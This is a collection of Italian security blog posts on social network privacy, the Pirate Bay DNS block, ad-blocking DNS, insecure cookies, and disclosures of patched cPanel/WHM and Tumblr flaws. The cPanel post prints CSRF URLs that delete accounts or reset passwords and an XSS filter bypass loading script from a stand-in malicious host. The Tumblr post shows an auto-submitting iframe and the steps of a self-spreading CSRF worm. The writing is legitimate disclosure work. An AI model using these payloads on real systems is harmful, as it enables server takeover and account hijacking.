Difficile non aver sentito parlare di Social network negli ultimi tempi. Perfino telegiornali e quotidiani ne stanno parlando. Il fenomeno Facebook è esploso: oltre 100 milioni di iscritti totali e circa due milioni e mezzo italiani. Tra i numeri bisogna intravedere anche account doppioni o abbandonati, ma restano comunque numeri di tutto riguardo. Bello rimanere in contatto con gli amici, sempre, in ogni momento. Bello poter contattare amici ora lontani con un solo click.

Un dipendente di una compagnia telefonica Australiana di 21 anni chiama in ufficio per annunciare la sua indisposizione non prima di aver scritto sul proprio profilo di Facebook: “Kyle Doyle is not going to work, fuc* it i’m still trashed. SICKIE WOO!” (ndr. Kyle Doylenon andrà al lavoro… Sono ancora devastato. VIVA LA MALATTIA!”). Per sua sfortuna, il suo capo letta la frase dal feed dei contatti di Facebook, non ha fatto altro che chiedergli il certificato per giustificare l’assenza. Ammesso che sia una bufala è così lontano da essere reale?

Andrea Feick e Hannah Emerson, due studentesse sconosciute ma con la passione per Facebook, lo scorso mese, sono state in compagnia di Bono degli U2 in Costa Azzurra. Le due ragazze, aspiranti modelle, hanno inserito le foto della gita su Facebook: dopo il Nikki Beach Bar la compagnia si è spostata sul “Cyan”, lo yacht da 12 milioni di sterline di proprietà del chitarrista degli U2, The Edge per finire all’Oxybar di Saint Tropez. Il tutto per vantarsene con la piccola cerchia di amici, se non era per l’iscrizione di Andrea Feick al gruppo geografico di New York. Circa un milione di persone che possono accedere al suo profilo e alle sue fotografie. Non credo che la moglie di Bono sia così entusiasta delle fotografie viste sul Daily Mail.

Sicuri del numero di amici che avete e di chi siano realmente?
Per non parlare poi delle vulnerabilità dell’applicazione del social network stesso.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

www.thepiratebay.org.       28800   IN      A       127.0.0.1

Ieri il dissequestro, la prima volta che accade in Italia a riguardo dei provvedimenti di “censura” di DNS o IP. La relazione tecnica preparata da Matteo Flora e il ricorso preparato da Giovanni Battista Gallus e Francesco Paolo Micozzi è servita a far ritirare il procedimento di sequestro al Tribunale del Riesame.
Il motivo della decisione del Tribunale di Bergamo non si conosce, inutile fare ipotesi per ora.

Aspettiamo per vedere quanto ci vorrà per tornare a questo:

www.thepiratebay.org.   52928   IN      A       83.140.65.11

Il punto secondo me non è di aver difeso ThePirateBay in quanto tale, ma di aver vinto una (piccola) battaglia contro l’attuale gestione del copyright e della censura.

Per chi si fosse perso le fila della vicenda può leggere in questo ordine questo, questo e questo articolo.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Sul numero di Agosto di Internet Magazine (GoOnline) la rubrica “Bug & Debug” è stata dedicata a “Tumblr worm, quando i blog diventano virali“. Un bell’articolo scritto da Gianni Amato che colgo l’occasione per ringraziare.

La redazione, per chi si fosse perso il numero 129 di Internet Magazine, mi ha permesso di pubblicare l’articolo in formato PDF.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Il Web sta (ri)scoprendo la pubblicità come forma di guadagno. Il problema non sono le inserzioni pubblicitarie in senso stretto, ma la profilazione che sta dietro ad esse.

La profilazione (Behavioral targeting) si perfeziona sempre più arrivando a proporre prodotti e/o servizi ai quali si è vulnerabili; per i quali si ha un interesse particolare.
Nessuno ha notato i servizi introdotti su YouTube dopo l’acquisizione da parte di Google?

Un anno fa insieme a Matteo Flora abbiamo condotto delle ricerche sulla diffusione, nel panorama blog Italiano, a riguardo di network di inserzioni pubblicitarie e di statistiche sulle visite. I risultati sono stati tutt’altro che confortanti. Google con i suoi AdSense e Analitycs ha una penetrazione intorno al 90% della blogosfera italiana.

Non è strano che Google dopo aver acquistato la Urchin Software ha reso gratuito un software, Urchin poi rinominato Google Analytics, che prima costava centinai di dollari al mese nella versione out-sourced? Per precisione di cronaca va detto che la versione gratuita di Google Analytics non comprende tutte le features di Urchin, per quelle è necessario abbonarsi.

Oltre ad usare plug-in specifici come NoScript, CustomizeGoogle, AdBlock, ecc c’è un metodo più semplice e trasparente per l’utente finale.
Nato da un’idea sviluppata grazie ai dati emersi dal talk, FoolDNS è un servizio di DNS creato per proteggere la privacy e bypassare i filtri censori dello stato Italiano. Un servizio che rende la navigazione più piacevole. Niente più JavaScript (inserzioni pubblicitarie e tool di statistiche) di tutti quei network che collezionano dati di navigazione senza una esplicita dichiarazione. L’idea di fondo è una gestione “casalinga” di inserzioni pubblicitarie e statistiche: perchè doversi accontentare degli spiccioli che network di inserzioni regalano per ogni click e utilizzare prodotti in out-sourcing per le statistiche?!
Grazie all’invito nella beta, dopo una settimana di utilizzo, non ho riscontrato problemi. La navigazione risulta estremamente pulita e piacevole sapendo anche che non vengono caricati JavaScript dalla dubbia utilità.

Il servizio, a detta anche delle statistiche, promette molto bene:
489378 richieste evase negli ultimi 7 giorni, più di 100.000 banner bloccati e più di 200 utenti attivi.

I 10 domini più richiesti sono:

1. mail.google.com
2. www.google.com
3. www.facebook.com
4. twitter.com
5. profile.ak.facebook.com
6. www.test.fool
7. www.google.it
8. feeds.feedburner.com
9. safebrowsing.clients.google.com
10. www.google-analytics.com

Per i più curiosi quelle che seguono sono le url ordinate per maggior numero di banner sostituiti da FoolDNS:

1. http://www.repubblica.it/index.html
2. http://www.repubblica.it
3. http://home.myspace.com/index.cfm
4. http://messaging.myspace.com/index.cfm
5. http://www.libero.it
6. http://www.youtube.com

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Questa piccola premessa (consiglio un approfondimento tramite la voce cookie su Wikipedia) per arrivare a dire: su HTTP i cookie possono essere intercettati e usati da un attaccante.  Credo che molti diranno: “Niente di nuovo sulla piazza”.
In soccorso a questo problema è nato il protocollo HTTPS che incapsula HTTP in una connessione cifrata con il Web Server di destinazione. In questo modo un attacco MITM diventa più complesso o per lo meno più macchinoso.
Sarebbero tutte rose e fiori se gli sviluppatori avessero recepito l’uso del flag “Secure” dell’header Cookie di HTTP. Questo flag impone al Web Browser di inviare il cookie solamente in presenza di un canale sicuro, interpretato durante l’implementazione nei Web Browser della RFC 2965 come l’HTTPS.

Il paper “Surf Jack - HTTPS will not save you” ha fatto notare una cosa molto importante: è inutile utilizzare le connessioni HTTPS quando i cookie non hanno il flag “Secure” attivo. Il perchè lo si può capire dallo screencast che segue:

Il cookie di sessione, non avendo attivo il flag “Secure”, viene inviato al Web Server anche su connessioni in chiaro. In questo modo un ataccante che si trova in condizioni di fare hijacking (tramite una qualsiasi tecnica) sarà in grado di dirottare (con un HTTP Redirect) la vittima in HTTP, in modo che il browser invii i cookie, del dominio target, in chiaro.

Il problema è più diffuso di quanto sembra, non credo che fino ad ora ne fosse stato considerato correttamente l’impatto. Ad esempio Google ha introdotto solo recentemente una funzione in Gmail che permette di utilizzare la Webmail solo tramite HTTPS inserendo il flag “Secure” sui cookie che contengono l’id della sessione.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

You know you’re a computer security professional when:

[...]

You lock your screensaver with twice as much insistence when security friends are around than when strangers are, because you’re not nearly as worried about a stranger’s intentions.

[...]

You suspect that every banner and Flash ad on every Web site is hosting malicious JavaScript.

[...]

You resist every new application install because of the new attack vector opportunities it will bring.

[...]

Your cell phone is password-protected.

[...]

You always slow down when reading security guidance looking for the words “should,” “must,” “never,” and “always” — and you understand their importance.

Queste son solo alcune, l’articolo merita di essere letto.
Paranoia? Forse.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

cPanel è una applicazione Web proprietaria per l’automazione di server che forniscono Web Hosting, nata per semplificare il lavoro agli amministratori. Il software è diviso in due parti principali: cPanel e WHM (Web Host Manager). La prima è utilizzata dai clienti , i quali siti sono ospitati sul server, per gestire le varie configurazioni del proprio spazio. La seconda è utilizzata dall’amministratore e da eventuali rivenditori per la gestione dell’intera macchina e degli account dei clienti.

Di default WHM risponde alla porta 2086 (HTTP) e 2087 (HTTPS) del server dove l’applicazione è installata e utilizza autentication basic per l’accesso. Un accesso privilegiato su WHM permette il controllo a livello root della macchina. Ovvero le funzioni richiamabili da Web sono critiche per l’integrità del server.

Purtroppo però qualsiasi funzione è richiamabile tramite CSRF (Cross-site Request Forgery). L’attaccante, conoscendo la porta e il dominio dove la vittima (l’utente con privilegi su WHM) ha effettuato il login, può far visitare una pagina appositamente creata contenente un url, caricata ad esempio con il tag “<img>”, simile a questa https://host_of_cpanel:2087/scripts/killacctlist?domain=victim.com&user=victim
Non credo serva dell’immaginazione per capire cosa succederà.
cPanel ha introltre sviluppato delle API in formato XML per semplificare l’integrazione delle funzioni di amministrazione di WHM in software di terze parti. Le API utilizzano la stessa porta e lo stesso tipo di autenticazione di WHM, questo fa si che se la vittima ha attiva una sessione su WHM possono essere usate le API XML per condurre attacchi CSRF in maniera semplificata. Ad esempio una url di questo tipo https://host_of_cpanel:2087/xml-api/passwd?user=victim&pass=0wnedpasswd permette di modificare la password di un qualsiasi utente presente sul server.

Le funzioni di WHM soffrono anche di problemi nell’input-validation nel caso specifico XSS (Cross-site Scripting). Era già stata creata una funzione di encoding HTML dei caratteri “pericolosi” per attacchi XSS, ma evidentemente non è stata implementata nel modo giusto. Utilizzando un numero arbitrario di parentesi angolari intorno al tag <script> è possibile bypassare il filtro:
>><<<<<<<<<<<<script src=”http://malicious.site/code.js” a=>>>>>>>><

Non vedo limiti di utilizzo di questa vulnerabilità; l’unico limite è la fantasia e una dose di social engineering. Mi sembra molto interessante poter recuperare la lista degli account presenti sul server.

Come spiegato anche nell’advisory originale, nelle versioni 11.18.4+ e 11.22.3+ le vulnerabilità XSS sono state risolte mentre quelle CSRF sono state mitigate inserendo un controllo dei referer HTTP al momento di una richiesta ad una funzione di WHM. Attenzione perchè, come spiegato nel post sul blog di cPanel, la funzione “anti-XSRF attacks” va abilitata a mano all’interno di “Tweak Settings”.

Spero che il prima possibile il core delle funzioni di WHM venga riscritto! Come già visto, nell’advisory su Tumblr, i referer HTTP non sono da utilizzare per funzioni anti-CSRF.

Maggiori riferimenti possono essere trovati su Secunia Advisory ID 30166 e come CVE-2008-2070 e CVE-2008-2071.
Segnalo inoltre che sono state segnalate vulnerabilità simili anche sulla parte en-user di cPanel: maggiori informazioni su Secunia ID 30027.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

In Spagna si lavora ad un sistema automatizzato per la gestione e la registrazione delle infrazioni stradali e relative multe. A tal scopo sarà utilizzato un database centralizzato in modo da poter smistare e verificare la mole di dati nazionali.
Il sistema sarà basato sul riconoscimento automatico delle targhe inviando così al database tutti i dati delle infrazioni.

L’immagine, presa da Alfredo Reino, è volutamente provocatoria ma quanto così distante dalla realtà?

Non sono l’unico ad aver pensato alle ZTL Italiane ed in particolare all’Ecopass di Milano: “Sql injection sul Gate di Milano?”

Grazie a pollycoke per l’assistenza sugli articoli in lingua spagnola.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Tumblr è un noto dominio dove si possono creare dei miniblog, meglio detti tumblelog. Ogni utente viene ospitato su sottodomini di tumblr.com (site:*.tumblr.com Risultati 125.000) oppure su un dominio proprio configurato per l’occasione. Questa configurazione porta ad eseguire codice JavaScript solamente nel dominio utilizzato per il proprio tumblelog: per le same-origin policy, non potrà essere sfruttato per attaccare la Dashboard, che risiede sul dominio www.tumblr.com.

Sono state prese ulteriori cautele dal punto di vista della sicurezza applicativa: ogni video è inserito nel proprio tumblelog innestandolo in un sotto dominio creato ad-hoc, i cookie hanno come path il dominio completo di www e ad ogni richiesta POST fatta per modificare/inserire il proprio profilo o micro-post viene controllato l’header Referer.
E’ stato proprio quest’ultima accortezza a destare i primi dubbi. Il controllo veniva soddisfatto solamente quando arrivava una richiesta da “www.tumblr.com/new/” oppure se il Referer era completamente vuoto.
Il Referer è un header di user-input ovvero viene inviato dal browser al server. E’ possibile, sfruttando qualche trick in JavaScript, magari non documentata, riuscire a modificare o addirittura cancellare il Referer al momento dell’invio di richieste POST o GET.
Alcune tecniche “storiche” nel frattempo risolte: Forging HTTP request header with Flash e Forging HTTP reeuqest header with XHR.
Ci sono anche altre tecniche tutt’ora funzionanti che sfruttando solamente JavaScript o HTML ad esempio:

<META HTTP-EQUIV=”refresh” CONTENT=”0;url=http://www.attacked.site”>

In questo modo il browser non invierà nessun referer ad www.attacker.site Il problema di questo approccio è la sfruttabilità solo in caso di richieste GET, nel caso di Tumblr la pagina della Dashboard accetta solamente il metodo POST.

Il metodo utilizzato per dimostrare che il controllo del referer come filtro anti Cross-Site Request Forgery, CSRF per gli amici, è stato quello presentato da Collin Jackson su sla.ckers.org:

<iframe src=”javascript:’<html><body onload=document.forms[0].submit();><form>….</form></body></html>’”;></iframe>

Viene invocata la funzione JavaScript passandogli tutto il necessario per creare un documento HTML ex-novo al volo. In questo modo il browser eseguirà le istruzioni al suo interno considerandolo come una entità a se stante.
Il metodo in oggetto l’ho correttamente testato su Opera 9, Firefox 2 e Internet Explorer 6. Solamente Internet Explorer 7 è immune da questa tecnica.

Presentata la tecnica sfruttata, è superfluo analizzare il sorgente, peraltro presente nell’articolo su PI. Esso non è altro che quanto visto sopra con in aggiunta tutti i campi del form necessari alla creazione di nuovo post sul tumblelog della vittima.

Il grafico seguente può riassumere la vita del worm (click per ingrandire):

1. Viene effettuato l’upload del codice sorgente del worm su un qualsiasi servizio di hosting
2. Viene inserito il worm nel tumblelog o un qualsiasi dominio in possesso all’attaccante
3. L’attaccante induce la vittima a visionare il dominio preparato ad-hoc
4. La vittima fa una richiesta alla pagina ospitate il worm
5. Il browser della vittima scarica il sorgente del worm
6. Il browser della vittima interpreta il codice sorgente del worm
7. Il worm effettua una richiesta CSRF verso la Dashboard di Tumblr…
8. …creando così un nuovo post nel tumblelog della vittima con riferimento al sorgente del worm
9. Tutti gli utenti che visiteranno un qualsiasi tumblelog compromesso reitereranno i passi dal punto 4 in poi

Per rendere possibile l’attacco CSRF implementato dal worm è necessario che le vittime abbiano una sessione attiva sulla Dashboard di Tumblr.

La vulnerabilità è stata corretta nel giro di pochi giorni ed ho deciso di presentarla solo come “case study”. Tumblr ha provveduto a cambiare il filtro sui Referer e ad implementare un token, univoco per ogni sessione, nei form utilizzati all’interno della Dashboard.

Avrei voluto parlarne prima ma gli impegni e l’OWASP day 2 me lo hanno impedito. Saluto a tal proposito Gianni Amato, Matteo Flora, Rosario Valotta e tutti i ragazzi di OWASP che ho avuto il piacere di conoscere.

“Oruga cerebral” photo credit: Gustavo Olivera

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

photo credit: ƒreg

E’ un momento assai tragicomico per il panorama politico su Web.
Non più di dieci giorni fa Roberto Scaccia segnalò una vulnerabilità sul sito del PD che ha dato il via ad una serie di segnalazioni a tutto campo. Punto Informatico, rifacendosi ad una pubblicazione di Matteo Flora, ha intitolato un articolo “Elezioni, siti Web a rischio?“. Lo stesso Flora ha rincarato la dose con un articolo dal titolo “La politica dell’ignoranza” da dove riporto:

Questi episodi ricordano come l’Italia, sotto questo versante, abbia ancora molto da imparare. Credo che sia assolutamente necessario iniziare a chiedere la qualità.

La lista dei siti Web politici è già lunga, ma sono sicuro che si potrebbe allungare ancora.
Continuare lo sproloquio di domini vulnerabili ha poco senso. Avrebbe senso, forse, segnalare le vulnerabilità attive ai proprietari e ai realizzatori, ma con quale speranza? Forse quella che, nella migliore della ipotesi, non si veda mai risposta.

Non è la fama che cerco, ma una maggiore consapevolezza nelle tecnologie utilizzate, altrimenti che senso ha utilizzarle come propaganda?

Non mi sembra che evitare XSS e SQL Injection (lasciando perdere le altre vulnerabilità meno di moda) sia così complesso. Ma si sa, in Italia, si corre ai ripari solo dopo che si finisce sui canali main-stream; “Striscia la Notizia” in primis. Che tristezza.

Internet è una massa critica, diversa da quella dei media tradizionali, ciò ne richiede un utilizzo consapevole e sincero. Proprio in questi ultimi giorni si è creata una intensa discussione e una lettera aperta dopo una intervista della Dott.sa. Graziottin a Porta a Porta.

Permettetemi un “plis visit de uebsait end plis pech ioars uebsait“.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)